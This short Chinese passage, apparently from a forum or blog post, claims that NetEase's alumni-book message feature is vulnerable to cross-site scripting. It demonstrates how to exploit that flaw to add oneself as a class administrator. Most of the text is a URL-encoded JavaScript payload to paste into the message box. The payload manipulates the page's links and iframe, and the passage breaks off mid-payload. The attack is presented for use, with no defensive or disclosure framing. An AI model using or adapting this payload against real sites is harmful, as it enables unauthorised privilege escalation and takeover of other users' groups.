1.方法：网易同学录留言功能存在跨站，这里演示一个利用它把自己加为班级管理员的方法。在留言框里填写：+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20docu...